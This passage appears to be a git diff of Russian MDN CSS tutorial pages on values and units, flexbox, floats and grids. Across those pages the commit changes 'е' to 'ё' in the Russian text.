        Вы довольно часто видите это на панели навигации. Приведённая ниже навигация отображается в виде строки с использованием flexbox, и мы добавили отступы к элементу <a>, также мы хотим чтобы изменялся background-color при наведении курсора на <a>. Отступы перекрывают границу элемента <ul>. Это потому, что <a> является строчным элементом.
        
 
 
        Добавьте в правило display: inline-block с помощью селектора .links-list a, и вы увидите, как он решает эту проблему, заставляя другие элементы соблюдать отступы.
        
 
diff --git a/files/ru/learn/css/building_blocks/values_and_units/index.html b/files/ru/learn/css/building_blocks/values_and_units/index.html
index d64426b99e..2e32d47268 100644
--- a/files/ru/learn/css/building_blocks/values_and_units/index.html
+++ b/files/ru/learn/css/building_blocks/values_and_units/index.html
@@ -22,7 +22,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
 
 
        Что такое значение CSS?
        
 
-
        В спецификациях CSS и на страницах свойств здесь в MDN вы сможете определять (узнавать) значения, потому как они будут заключены в угловые скобки, например <color> или <length>. Если вы видите значение <color> как действительное для определенного свойства это значит что вы можете использовать любой валидный цвет в качестве значение для этого свойства, как перечислено на странице <color>.
        
+
        В спецификациях CSS и на страницах свойств здесь в MDN вы сможете определять (узнавать) значения, потому как они будут заключены в угловые скобки, например <color> или <length>. Если вы видите значение <color> как действительное для определённого свойства это значит что вы можете использовать любой валидный цвет в качестве значение для этого свойства, как перечислено на странице <color>.
        
 
 
        
 
        Note: You'll also see CSS values referred to as data types. The terms are basically interchangeable — when you see something in CSS referred to as a data type, it is really just a fancy way of saying value.
        
@@ -40,7 +40,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
 }
        -

        Значение в CSS это путь определения коллекции допустимых под-значений. То есть если вы видите <color> как примененный, то вам не надо озадачиваться какой из разных типов значения цвета может быть использован — ключевое слово, hex значение, функция rgb() и т.д. Вы можете воспользоваться любым доступным значением <color> при условии, что они поддерживаются вашим браузером. Страницы для всех значений на MDN дадут вам информацию о поддержке браузеров. Например, если вы посмотрите на страницу <color> то вы увидите раздел совместимости браузеров в котором перечислены различные типы значений цвета и их поддержка.

        +

        Значение в CSS это путь определения коллекции допустимых под-значений. То есть если вы видите <color> как применённый, то вам не надо озадачиваться какой из разных типов значения цвета может быть использован — ключевое слово, hex значение, функция rgb() и т.д. Вы можете воспользоваться любым доступным значением <color> при условии, что они поддерживаются вашим браузером. Страницы для всех значений на MDN дадут вам информацию о поддержке браузеров. Например, если вы посмотрите на страницу <color> то вы увидите раздел совместимости браузеров в котором перечислены различные типы значений цвета и их поддержка.

        Давайте посмотрим на некоторые типы значений и единиц с примерами чтобы вы могли опробовать различные возможные значения, с которыми вы можете часто сталкиваться.

        @@ -69,13 +69,13 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units         @@ -140,7 +140,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units

        Единицы относительной длины

        -

        Относительные единицы длин являются относительными к чему-то еще, возможно к размеру родительского шрифта или к размеру окна просмотра. Преимущество использования относительных единиц состоит в том, что при тщательном планировании вы можете сделать так, чтобы размер текста или других элементов масштабировался относительно всего остального на странице. Некоторые наиболее используемые единицы веб-разработки перечислены в таблице ниже.

        +

        Относительные единицы длин являются относительными к чему-то ещё, возможно к размеру родительского шрифта или к размеру окна просмотра. Преимущество использования относительных единиц состоит в том, что при тщательном планировании вы можете сделать так, чтобы размер текста или других элементов масштабировался относительно всего остального на странице. Некоторые наиболее используемые единицы веб-разработки перечислены в таблице ниже.

        {{ Cssxref(":active") }}Подходит, когда пользователь активирует (например, щелкает мышью) элемент.Подходит, когда пользователь активирует (например, щёлкает мышью) элемент.
        {{ Cssxref(":any-link") }}
        {{ Cssxref(":first-of-type") }}Соответствует элементу, который является первым определенного типа среди других дочерних элементов одного предка.Соответствует элементу, который является первым определённого типа среди других дочерних элементов одного предка.
        {{ Cssxref(":focus") }}
        {{ Cssxref(":indeterminate") }}Соответствует элементам пользовательского интерфейса, значение которых находится в неопределенном состоянии, обычно checkboxes.Соответствует элементам пользовательского интерфейса, значение которых находится в неопределённом состоянии, обычно checkboxes.
        {{ Cssxref(":in-range") }}
        {{ Cssxref(":nth-child") }}Соответствует элементам из списка дочерних элементов одного предка, которые подобраны по формуле вида an+b (например, 2n + 1 будет соответствовать элементам 1, 3, 5, 7 и т. д. Все нечетные числа.)Соответствует элементам из списка дочерних элементов одного предка, которые подобраны по формуле вида an+b (например, 2n + 1 будет соответствовать элементам 1, 3, 5, 7 и т. д. Все нечётные числа.)
        {{ Cssxref(":nth-of-type") }}Соответствует элементам из списка дочерних элементов одного предка, имеющим определенный тип (например, элементы <p>) — дочерние элементы подобраны по формуле вида an+b (например, 2n + 1 будет соответствовать элементам 1, 3, 5, 7 и т. д. Все нечетные числа.)Соответствует элементам из списка дочерних элементов одного предка, имеющим определённый тип (например, элементы <p>) — дочерние элементы подобраны по формуле вида an+b (например, 2n + 1 будет соответствовать элементам 1, 3, 5, 7 и т. д. Все нечётные числа.)
        {{ Cssxref(":nth-last-child") }}Соответствует элементам из списка дочерних элементов одного предка, считая в обратном порядке от конца. Дочерние элементы подобраны по формуле вида an+b (например, 2n + 1 будет соответствовать последнему элементу в последовательности, затем на два элемента до него, затем ещё на два элемента назад и т. д. Все нечетные, считая с конца.)Соответствует элементам из списка дочерних элементов одного предка, считая в обратном порядке от конца. Дочерние элементы подобраны по формуле вида an+b (например, 2n + 1 будет соответствовать последнему элементу в последовательности, затем на два элемента до него, затем ещё на два элемента назад и т. д. Все нечётные, считая с конца.)
        {{ Cssxref(":nth-last-of-type") }}Соответствует элементам из списка дочерних элементов одного предка, имеющим определенный тип (например, элементы <p>), считая в обратном порядке от конца. Дочерние элементы подобраны по формуле вида an+b (например, 2n + 1 будет соответствовать последнему элементу этого типа в последовательности, затем на два элемента до него, затем ещё на два элемента назад и т. д. Все нечетные, считая с конца.)Соответствует элементам из списка дочерних элементов одного предка, имеющим определённый тип (например, элементы <p>), считая в обратном порядке от конца. Дочерние элементы подобраны по формуле вида an+b (например, 2n + 1 будет соответствовать последнему элементу этого типа в последовательности, затем на два элемента до него, затем ещё на два элемента назад и т. д. Все нечётные, считая с конца.)
        {{ Cssxref(":only-child") }}
        <dimension> -

        <dimension> (измерение) это — <number> (число) с единицей измерения, прикрепленной к нему, например 45deg, 5s, или 10px. <dimension> — это зонт категорий, включающих в себя типы <length>, <angle>, <time>, и <resolution> (длина, угол, время и разрешение).

        +

        <dimension> (измерение) это — <number> (число) с единицей измерения, прикреплённой к нему, например 45deg, 5s, или 10px. <dimension> — это зонт категорий, включающих в себя типы <length>, <angle>, <time>, и <resolution> (длина, угол, время и разрешение).

        <percentage> -

        <percentage> (проценты) представляют собой долю некоторого другого значения, например 50%. Процентные значения всегда относительны по отношению к другому количеству, например длина элемента относительна к длине ее родительского элемента.

        +

        <percentage> (проценты) представляют собой долю некоторого другого значения, например 50%. Процентные значения всегда относительны по отношению к другому количеству, например длина элемента относительна к длине её родительского элемента.
        @@ -191,7 +191,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units

        Изучение на примере

        -

        В примере ниже вы можете увидеть, как некоторые относительные и абсолютные единицы длин ведут себя. Первый блок имеет {{cssxref("width")}} (ширину) установленную в пикселях. Как абсолютная единица эта ширина будет оставаться такой же неважно что еще измениться.

        +

        В примере ниже вы можете увидеть, как некоторые относительные и абсолютные единицы длин ведут себя. Первый блок имеет {{cssxref("width")}} (ширину) установленную в пикселях. Как абсолютная единица эта ширина будет оставаться такой же неважно что ещё измениться.

        Второй блок имеет ширину, установленную в единицах vw (ширина окна просмотра). Это значение относительно к ширине окна просмотра и таким образом 10vw это 10 процентов от ширины окна просмотра. Если вы измените ширину окна вашего браузера, размер блока должен измениться, однако этот пример встроен в страницу с использованием <iframe>, поэтому это не сработает. Для того чтобы увидеть это в действии вы должны открыть этот пример в отдельной вкладке браузера.

        @@ -203,7 +203,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units

        em и rem

        -

        em и rem — две относительные длины, с которыми вы вероятное всего сталкиваетесь чаще при разметке чего-либо от блоков до текста. Стоит понимать как они работают, понимать различия между ними, особенно когда вы начинаете переходить к более сложным темам как стилизация текста или разметка CSS. Приведенный ниже пример показывает это.

        +

        em и rem — две относительные длины, с которыми вы вероятное всего сталкиваетесь чаще при разметке чего-либо от блоков до текста. Стоит понимать как они работают, понимать различия между ними, особенно когда вы начинаете переходить к более сложным темам как стилизация текста или разметка CSS. Приведённый ниже пример показывает это.

        HTML это набор вложенных списков — у нас имеется три списка в общей сложности и оба примера имеют одинаковый HTML. Единственное различие в том, что первый имеет класс ems, а второй класс rems.

        @@ -223,9 +223,9 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units

        В примере ниже два блока с размерами в процентах и два с размерами в пикселях имеющих одинаковые имена классов. Оба набора имеют ширину 200px и 40% соответственно.

        -

        Различие в том, что второй набор блоков находится внутри обертки которая имеет ширину 400 пикселей. Второй блок шириной в 200px имеет ту же ширину что и первый, но второй 40 процентный блок теперь имеет 40% от 400px — намного уже чем первый.

        +

        Различие в том, что второй набор блоков находится внутри обёртки которая имеет ширину 400 пикселей. Второй блок шириной в 200px имеет ту же ширину что и первый, но второй 40 процентный блок теперь имеет 40% от 400px — намного уже чем первый.

        -

        Попробуйте изменить ширину обертки (.wrapper) или процентное значение чтобы увидеть, как это работает.

        +

        Попробуйте изменить ширину обёртки (.wrapper) или процентное значение чтобы увидеть, как это работает.

        {{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} 

        @@ -251,7 +251,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units

        Существует много способов определения цвета в CSS, некоторые из которых реализованы довольно-таки недавно по сравнению с другими. Одинаковые значения цвета могут использоваться везде в CSS, определяете ли вы при этом цвет текста, цвет фона или цвет чего-либо еще.

        -

        Стандартная система цветов доступная в современных компьютерах — это 24-битная система, которая позволяет отображать около 16.7 миллионов отдельных цветов через комбинацию различных красных, зеленых и синих каналов с 256 различными значениями каждого канала (256 x 256 x 256 = 16,777,216). Давайте взглянем на некоторые способы, с помощью которых мы можем определять цвет в CSS.

        +

        Стандартная система цветов доступная в современных компьютерах — это 24-битная система, которая позволяет отображать около 16.7 миллионов отдельных цветов через комбинацию различных красных, зелёных и синих каналов с 256 различными значениями каждого канала (256 x 256 x 256 = 16,777,216). Давайте взглянем на некоторые способы, с помощью которых мы можем определять цвет в CSS.

        Внимание: В этом руководстве мы рассмотрим общие методы определения цвета, которые имеют хорошую поддержку браузерами; существуют и другие методы, но они не имеют столь же хорошей поддержки и являются менее общими.

        @@ -259,13 +259,13 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units

        Ключевые слова цвета

        -

        Довольно часто в примерах как здесь, так и на других страницах в MDN вы будете видеть использование ключевых слов цвета, поскольку это простой и понятный способ определения цвета. Существует определенное количество этих ключевых слов и некоторые их них имеют довольно занимательные имена! Полный список вы можете посмотреть на странице значений <color> .

        +

        Довольно часто в примерах как здесь, так и на других страницах в MDN вы будете видеть использование ключевых слов цвета, поскольку это простой и понятный способ определения цвета. Существует определённое количество этих ключевых слов и некоторые их них имеют довольно занимательные имена! Полный список вы можете посмотреть на странице значений <color> .

        Попробуйте поиграть с разными значениями цвета на живом примере ниже, чтобы понять больше об идее как они работают.

        Шестнадцатеричные RGB значения

        -

        Следующий тип значения цвета, с которым вы сталкиваетесь вероятнее всего — это шестнадцатеричные коды. Каждое hex-значение состоит из символа решетки (#) за которым следуют 6 шестнадцатеричных чисел, каждое из которых может принимать одно из 16 значений от 0 до f (представляющая 15) — то есть 0123456789abcdef. Каждая пара значений представляет один из каналов — красного, зеленого или синего цветов — и позволяет нам определять любой из 256 доступных значений для каждого (16 x 16 = 256).

        +

        Следующий тип значения цвета, с которым вы сталкиваетесь вероятнее всего — это шестнадцатеричные коды. Каждое hex-значение состоит из символа решётки (#) за которым следуют 6 шестнадцатеричных чисел, каждое из которых может принимать одно из 16 значений от 0 до f (представляющая 15) — то есть 0123456789abcdef. Каждая пара значений представляет один из каналов — красного, зелёного или синего цветов — и позволяет нам определять любой из 256 доступных значений для каждого (16 x 16 = 256).

        Эти значения являются немного более сложными и менее простыми для понимания, но они намного более универсальны чем ключевые слова — вы можете использовать hex-значения чтобы отобразить любой цвет, который вы хотите использовать в своей цветовой схеме.

        @@ -275,13 +275,13 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units

        RGB и RGBA значения

        -

        Третья схема, о которой мы здесь поговорим это RGB. Значения RGB это функция — rgb() — которой дается три параметра представляющих каналы красного, зеленого и синего значений цветов, во многом так же, как hex-значения. Отличие с RGB является то, что каждый канал представлен не двумя hex-цифрами, а десятичным числом между 0 и 255 — что отчасти проще в понимании.

        +

        Третья схема, о которой мы здесь поговорим это RGB. Значения RGB это функция — rgb() — которой даётся три параметра представляющих каналы красного, зелёного и синего значений цветов, во многом так же, как hex-значения. Отличие с RGB является то, что каждый канал представлен не двумя hex-цифрами, а десятичным числом между 0 и 255 — что отчасти проще в понимании.

        Давайте перепишем наш последний пример используя RGB цвета:

        {{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} 

        -

        А также вы можете использовать цвета RGBA — что работает в точности, как и цвета RGB и то есть вы можете использовать любое значение RGB, однако существует четвертое значение, которое представляет альфа канал цвета, которое контролирует мутность. Если вы установите это значение на 0, то это сделает цвет полностью прозрачным, тогда как 1 сделает его полностью мутным. Значения между дают вам разные уровни прозрачности.

        +

        А также вы можете использовать цвета RGBA — что работает в точности, как и цвета RGB и то есть вы можете использовать любое значение RGB, однако существует четвёртое значение, которое представляет альфа канал цвета, которое контролирует мутность. Если вы установите это значение на 0, то это сделает цвет полностью прозрачным, тогда как 1 сделает его полностью мутным. Значения между дают вам разные уровни прозрачности.

        Внимание: Настройка альфа канала в цвете имеет одно ключевое различие в использовании свойства {{cssxref("opacity")}} которое мы рассматривали ранее. когда вы используете мутность вы делаете элемент и все внутри него мутным, тогда как при использовании цвета RGBA вы делаете мутным только тот цвет который вы специфицируете.

        diff --git a/files/ru/learn/css/css_layout/flexbox/index.html b/files/ru/learn/css/css_layout/flexbox/index.html index d67eedc31f..46e77bfe72 100644 --- a/files/ru/learn/css/css_layout/flexbox/index.html +++ b/files/ru/learn/css/css_layout/flexbox/index.html @@ -28,7 +28,7 @@ translation_of: Learn/CSS/CSS_layout/Flexbox

        Почему Flexbox?

        -

        Долгое время единственными надёжными инструментами CSS верстки были такие способы как Float (обтекание) и позиционирование.

        +

        Долгое время единственными надёжными инструментами CSS вёрстки были такие способы как Float (обтекание) и позиционирование.

        С их помощью сложно или невозможно достичь следующих простых требований к макету:

        @@ -44,7 +44,7 @@ translation_of: Learn/CSS/CSS_layout/Flexbox

        В этой статье вы проработаете серию упражнений, которые помогут понять, как работает flexbox. Чтобы начать, скачайте на компьютер стартовый файл — flexbox0.html с нашего Github репозитория — загрузите его в современном браузере (Firefox или Chrome), а также в любимом редакторе кода. Также вы можете посмотреть его вживую.

        -

        Вы увидите элемент {{htmlelement("header")}} с заголовком верхнего уровня внутри, и элемент {{htmlelement("section")}} содержащий три элемента {{htmlelement("article")}}. Мы будем использовать их для создания стандартного трехколоночного макета.

        +

        Вы увидите элемент {{htmlelement("header")}} с заголовком верхнего уровня внутри, и элемент {{htmlelement("section")}} содержащий три элемента {{htmlelement("article")}}. Мы будем использовать их для создания стандартного трёхколоночного макета.

        @@ -288,7 +288,7 @@ article:nth-of-type(3) { justify-content: space-around; } -

        Наконец, мы устанавливаем размер кнопке, мы даем ему значение flex 1. Это даёт очень интересный эффект, который вы увидите, если попытаетесь изменить размер ширины окна браузера. Кнопки занимают столько места, сколько могут, и сидят на одной линии также, сколько могут. Если же они не могут комфортно расположиться на одной линии, они перепрыгнут на новые строки.

        +

        Наконец, мы устанавливаем размер кнопке, мы даём ему значение flex 1. Это даёт очень интересный эффект, который вы увидите, если попытаетесь изменить размер ширины окна браузера. Кнопки занимают столько места, сколько могут, и сидят на одной линии также, сколько могут. Если же они не могут комфортно расположиться на одной линии, они перепрыгнут на новые строки.

        button {
   flex: 1;
@@ -309,6 +309,6 @@ article:nth-of-type(3) {
 
 
        Подытожим
        
 
-
        Мы завершаем нашу статью по основам flexbox. Надеемся, что вам понравилось, и вы хорошо развлечётесь, путешествуя дальше и изучая его. Далее мы рассмотрим еще один важный аспект макетов CSS - grid-системы.
        
+
        Мы завершаем нашу статью по основам flexbox. Надеемся, что вам понравилось, и вы хорошо развлечётесь, путешествуя дальше и изучая его. Далее мы рассмотрим ещё один важный аспект макетов CSS - grid-системы.
        
 
 
        {{PreviousMenuNext("Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}
        
diff --git a/files/ru/learn/css/css_layout/floats/index.html b/files/ru/learn/css/css_layout/floats/index.html
index 86ff3ac15d..9fc55d47cf 100644
--- a/files/ru/learn/css/css_layout/floats/index.html
+++ b/files/ru/learn/css/css_layout/floats/index.html
@@ -26,7 +26,7 @@ translation_of: Learn/CSS/CSS_layout/Floats
 
 
        Свойство {{cssxref("float")}} вводилось для того, чтобы разработчики могли включать изображение, с обтеканием текста вокруг него слева или справа, как это часто используется в газетах.
        
 
-
        Но разработчики быстро осознали, что можно обтекать все что угодно, не только изображения, поэтому использование float расширилось, например для верстки забавных эффектов таких как drop-caps (буквица).
        
+
        Но разработчики быстро осознали, что можно обтекать все что угодно, не только изображения, поэтому использование float расширилось, например для вёрстки забавных эффектов таких как drop-caps (буквица).
        
 
 
        Floats очень часто использовались для создания макетов целых веб-страниц, отображающих несколько колонок информации, обтекаемых так, что колонки располагаются друг за другом (поведение по умолчанию предполагает, что колонки должны располагаются друг за другом, в том же порядке в котором они появляются в источнике). Доступны более новые, лучшие методы и поэтому использование floats для этих целей следует рассматривать как устаревшей техникой.
        
 
@@ -34,9 +34,9 @@ translation_of: Learn/CSS/CSS_layout/Floats
 
 
        Простой пример float
        
 
-
        Давайте выясним как использовать floats. Мы начнем с очень простого примера включающего обтекание элемента блоком текста. Вы можете следовать за нами создав новый index.html файл на вашем компьютере, заполнив его простым шаблоном HTML, и вставив код ниже в подходящее место. В конце раздела вы можете увидеть живой пример того, как должен выглядеть финальный код.
        
+
        Давайте выясним как использовать floats. Мы начнём с очень простого примера включающего обтекание элемента блоком текста. Вы можете следовать за нами создав новый index.html файл на вашем компьютере, заполнив его простым шаблоном HTML, и вставив код ниже в подходящее место. В конце раздела вы можете увидеть живой пример того, как должен выглядеть финальный код.
        
 
-
        Во-первых, мы начнем с некоторого простого HTML — добавьте следующее в body вашего HTML, удалив все что там было до этого:
        
+
        Во-первых, мы начнём с некоторого простого HTML — добавьте следующее в body вашего HTML, удалив все что там было до этого:
        
 
 
        <h1>Simple float example</h1>
 
@@ -175,11 +175,11 @@ translation_of: Learn/CSS/CSS_layout/Floats
 
 
        {{ EmbedLiveSample('Float_2', '100%', 500) }}
        
 
-
        Линейные блоки нашего последующего элемента были сокращены так что текст располагается вокруг обтекаемого объекта, но из-за того, что обтекаемый объект удаляется из нормального потока блок вокруг параграфа все еще остается в полную ширину.
        
+
        Линейные блоки нашего последующего элемента были сокращены так что текст располагается вокруг обтекаемого объекта, но из-за того, что обтекаемый объект удаляется из нормального потока блок вокруг параграфа все ещё остаётся в полную ширину.
        
 
 
        Очистка обтекания
        
 
-
        Мы увидели, что обтекаемый объект удален из нормального потока и что другие элементы будут располагаться за ним, поэтому если мы хотим остановить перемещение следующего элемента нам необходимо очистить его; что достигается при помощи свойства {{cssxref("clear")}}.
        
+
        Мы увидели, что обтекаемый объект удалён из нормального потока и что другие элементы будут располагаться за ним, поэтому если мы хотим остановить перемещение следующего элемента нам необходимо очистить его; что достигается при помощи свойства {{cssxref("clear")}}.
        
 
 
        Добавьте класс cleared ко второму параграфу после обтекаемого элемента в ваш HTML из предыдущего примера. Далее добавьте следующий CSS:
        
 
@@ -243,9 +243,9 @@ translation_of: Learn/CSS/CSS_layout/Floats
  
      • both: очищает любые обтекаемые объекты, слева или справа.
        • 
 
 
-
        Очистка блоков обернутых вокруг обтекаемых элементов
        
+
        Очистка блоков обёрнутых вокруг обтекаемых элементов
        
 
-
        Вы теперь знаете, как очистить что-либо следующее за обтекаемым элементом, но давайте посмотрим, что происходит если у вас имеется высокий обтекаемый объект и короткий параграф с блоком, оборачивающим оба элемента. Измените ваш документ так чтоб первый параграф и наш обтекаемый блок были обернуты в {{htmlelement("div")}} с классом wrapper.
        
+
        Вы теперь знаете, как очистить что-либо следующее за обтекаемым элементом, но давайте посмотрим, что происходит если у вас имеется высокий обтекаемый объект и короткий параграф с блоком, оборачивающим оба элемента. Измените ваш документ так чтоб первый параграф и наш обтекаемый блок были обёрнуты в {{htmlelement("div")}} с классом wrapper.
        
 
 
        <div class="wrapper">
   <div class="box">Float</div>
@@ -313,11 +313,11 @@ translation_of: Learn/CSS/CSS_layout/Floats
 
 
        {{ EmbedLiveSample('Float_4', '100%', 600) }}
        
 
-
        И еще раз, так происходит потому, что обтекаемый объект изымается из нормального потока. Очистка следующего элемента не помогает с этой проблемой очистки блока, где вы хотите, чтобы нижняя часть блока обернула обтекаемый объект и оборачивающий контент даже если контент короче. Существует три потенциальных способа разобраться с этой проблемой, два из которых работают во всех браузерах, но при этом немного хитры и третий новый способ, который правильно справляется с этой ситуацией.
        
+
        И ещё раз, так происходит потому, что обтекаемый объект изымается из нормального потока. Очистка следующего элемента не помогает с этой проблемой очистки блока, где вы хотите, чтобы нижняя часть блока обернула обтекаемый объект и оборачивающий контент даже если контент короче. Существует три потенциальных способа разобраться с этой проблемой, два из которых работают во всех браузерах, но при этом немного хитры и третий новый способ, который правильно справляется с этой ситуацией.
        
 
 
        Clearfix hack
        
 
-
        Традиционно эта ситуация решалась с помощью так называемого «clearfix hack». Это включает вставку некоторого сгенерированного контента после блока, содержащего обтекаемый объект и оберточный контент, а также настройки для очистки обоих.
        
+
        Традиционно эта ситуация решалась с помощью так называемого «clearfix hack». Это включает вставку некоторого сгенерированного контента после блока, содержащего обтекаемый объект и обёрточный контент, а также настройки для очистки обоих.
        
 
 
        Добавьте следующий CSS в наш пример:
        
 
@@ -379,9 +379,9 @@ translation_of: Learn/CSS/CSS_layout/Floats
 
 
        Использование overflow
        
 
-
        Альтернативный метод — это задать свойство {{cssxref("overflow")}} для обертки (wrapper) на значение отличное от visible.
        
+
        Альтернативный метод — это задать свойство {{cssxref("overflow")}} для обёртки (wrapper) на значение отличное от visible.
        
 
-
        Удалите clearfix CSS который вы добавляли в предыдущей секции и вместо него добавьте overflow: auto к правилу для обертки. Блок снова должен быть очищен.
        
+
        Удалите clearfix CSS который вы добавляли в предыдущей секции и вместо него добавьте overflow: auto к правилу для обёртки. Блок снова должен быть очищен.
        
 
 
        .wrapper {
   background-color: rgb(79,185,227);
@@ -433,7 +433,7 @@ translation_of: Learn/CSS/CSS_layout/Floats
 
 
        {{ EmbedLiveSample('Float_6', '100%', 600) }}
        
 
-
        Этот пример работает путем создания того, что известно как Блочный Контекст Форматирования (block formatting context (BFC)). Это как мини макет внутри вашей страницы, внутри которого содержится все, следовательно наш обтекаемый элемент находится внутри BFC и фон располагается за обоими элементами. Обычно это будет срабатывать, однако, в определенных случаях вы можете обнаружить нежелательную полосу прокрутки или обрезанные тени из-за непреднамеренный последствий использования overflow.
        
+
        Этот пример работает путём создания того, что известно как Блочный Контекст Форматирования (block formatting context (BFC)). Это как мини макет внутри вашей страницы, внутри которого содержится все, следовательно наш обтекаемый элемент находится внутри BFC и фон располагается за обоими элементами. Обычно это будет срабатывать, однако, в определённых случаях вы можете обнаружить нежелательную полосу прокрутки или обрезанные тени из-за непреднамеренный последствий использования overflow.
        
 
 
        display: flow-root
        
 
diff --git a/files/ru/learn/css/css_layout/grids/index.html b/files/ru/learn/css/css_layout/grids/index.html
index 903cefd2be..931f326250 100644
--- a/files/ru/learn/css/css_layout/grids/index.html
+++ b/files/ru/learn/css/css_layout/grids/index.html
@@ -46,7 +46,7 @@ translation_of: Learn/CSS/CSS_layout/Grids
 
 
        Создание простых рамок сетки
        
 
-
        Мы начнем с рассмотрения того, как вы можете создать простую сетку для вашего проекта.
        
+
        Мы начнём с рассмотрения того, как вы можете создать простую сетку для вашего проекта.
        
 
 
        В настоящее время большинство макетов типа grid создаются с использованием поплавков (floats). Если вы прочитали нашу предыдущую статью о поплавках, вы уже видели, как мы можем использовать эту технику для создания раскладки нескольких столбцов, что является сущностью любой сетки, использующей этот метод.
        
 
@@ -58,7 +58,7 @@ translation_of: Learn/CSS/CSS_layout/Grids
 
 
        Давайте сначала создадим сетку, использующую столбцы фиксированной ширины.
        
 
-
        Начните с создания локальной копии нашего образца simple-grid.html файла, который содержит следующую разметку в своем теле.
        
+
        Начните с создания локальной копии нашего образца simple-grid.html файла, который содержит следующую разметку в своём теле.
        
 
 
        <div class="wrapper">
   <div class="row">
@@ -87,7 +87,7 @@ translation_of: Learn/CSS/CSS_layout/Grids
 
 
        
 
-
        В элементе {{htmlelement ("style")}} добавьте следующий код, который дает контейнеру ширину 980 пикселей с отступом с правой стороны 20 пикселей. Это дает нам 960 пикселей для нашей общей ширины столбца/желоба - в этом случае отступы вычитаются из общей ширины содержимого, потому что мы установили {{cssxref ("box-sizing")}} в рамку по всем элементам на сайте (см. Changing the box model completely для большего объяснения).
        
+
        В элементе {{htmlelement ("style")}} добавьте следующий код, который даёт контейнеру ширину 980 пикселей с отступом с правой стороны 20 пикселей. Это даёт нам 960 пикселей для нашей общей ширины столбца/желоба - в этом случае отступы вычитаются из общей ширины содержимого, потому что мы установили {{cssxref ("box-sizing")}} в рамку по всем элементам на сайте (см. Changing the box model completely для большего объяснения).
        
 
 
        * {
   box-sizing: border-box;
@@ -103,7 +103,7 @@ body {
   padding-right: 20px;
 }
        
 
-
        Теперь используйте контейнер строк, который обернут вокруг каждой строки сетки, чтобы очистить одну строку от другой. Добавьте следующее правило ниже предыдущего:
        
+
        Теперь используйте контейнер строк, который обёрнут вокруг каждой строки сетки, чтобы очистить одну строку от другой. Добавьте следующее правило ниже предыдущего:
        
 
 
        .row {
   clear: both;
@@ -111,9 +111,9 @@ body {
 
 
        Применение этого клиринга означает, что нам не нужно полностью заполнять каждую строку элементами, составляющими полные двенадцать столбцов. Строки будут разделены и не будут мешать друг другу.
        
 
-
        Желоба между колоннами шириной 20 пикселей. Мы создаем эти желоба в качестве поля в левой части каждого столбца, включая первый столбец, чтобы сбалансировать 20 пикселей прокладки в правой части контейнера. Таким образом, у нас есть 12 водосточных желобов - 12 x 20 = 240.
        
+
        Желоба между колоннами шириной 20 пикселей. Мы создаём эти желоба в качестве поля в левой части каждого столбца, включая первый столбец, чтобы сбалансировать 20 пикселей прокладки в правой части контейнера. Таким образом, у нас есть 12 водосточных желобов - 12 x 20 = 240.
        
 
-
        Нам нужно вычесть это из нашей общей ширины 960 пикселей, что дает нам 720 пикселей для наших столбцов. Если мы разделим это на 12, мы знаем, что каждый столбец должен быть 60 пикселей в ширину. Наш следующий шаг - создать правило для класса .col, плавающее влево, предоставив ему {{cssxref ("margin-left")}} из 20 пикселей для формирования желоба и {{cssxref ("width" )}} из 60 пикселей. Добавьте нижеследующее правило в CSS:
        
+
        Нам нужно вычесть это из нашей общей ширины 960 пикселей, что даёт нам 720 пикселей для наших столбцов. Если мы разделим это на 12, мы знаем, что каждый столбец должен быть 60 пикселей в ширину. Наш следующий шаг - создать правило для класса .col, плавающее влево, предоставив ему {{cssxref ("margin-left")}} из 20 пикселей для формирования желоба и {{cssxref ("width" )}} из 60 пикселей. Добавьте нижеследующее правило в CSS:
        
 
 
        .col {
   float: left;
@@ -147,10 +147,10 @@ body {
 .col.span11 { width: 860px; }
 .col.span12 { width: 940px; }
        
 
-
        С помощью этих классов мы можем теперь выкладывать разные столбцы ширины в сетке. Попробуйте сохранить и загрузить страницу в своем браузере, чтобы увидеть эффекты.
        
+
        С помощью этих классов мы можем теперь выкладывать разные столбцы ширины в сетке. Попробуйте сохранить и загрузить страницу в своём браузере, чтобы увидеть эффекты.
        
 
 
        
-
        Примечание: Если вам не удается заставить приведенный выше пример работать, попробуйте сравнить его с нашей готовой версией на GitHub (см. также запуск в режиме реального времени).
        
+
        Примечание: Если вам не удаётся заставить приведённый выше пример работать, попробуйте сравнить его с нашей готовой версией на GitHub (см. также запуск в режиме реального времени).
        
 
        
 
 
        Попробуйте изменить классы на своих элементах или даже добавить и удалить некоторые контейнеры, чтобы увидеть, как вы можете изменять макет. Например, вы можете сделать вторую строку следующим образом:
        
@@ -170,7 +170,7 @@ body {
 
 
        target / context = result
        
 
-
        Для нашей ширины столбца наша целевая ширина составляет 60 пикселей, а наш контекст  960 пикселей. Для расчета процента мы можем использовать следующее.
        
+
        Для нашей ширины столбца наша целевая ширина составляет 60 пикселей, а наш контекст  960 пикселей. Для расчёта процента мы можем использовать следующее.
        
 
 
        60 / 960 = 0.0625
        
 
@@ -200,7 +200,7 @@ body {
 
 
        Мы не только дали нам процент {{cssxref ("width")}}, мы также добавили свойство {{cssxref ("max-width")}}, чтобы остановить распространение макета.
        
 
-
        Затем обновите четвертое правило CSS (с селектором .col) следующим образом:
        
+
        Затем обновите четвёртое правило CSS (с селектором .col) следующим образом:
        
 
 
        .col {
   float: left;
@@ -209,7 +209,7 @@ body {
   background: rgb(255, 150, 150);
 }
        
 
-
        Теперь идет немного более трудоемкая часть - нам нужно обновить все наши правила .col.span, чтобы использовать проценты, а не ширину пикселей. Это занимает немного времени с калькулятором; чтобы сэкономить вам немного усилий, мы сделали это для вас ниже.
        
+
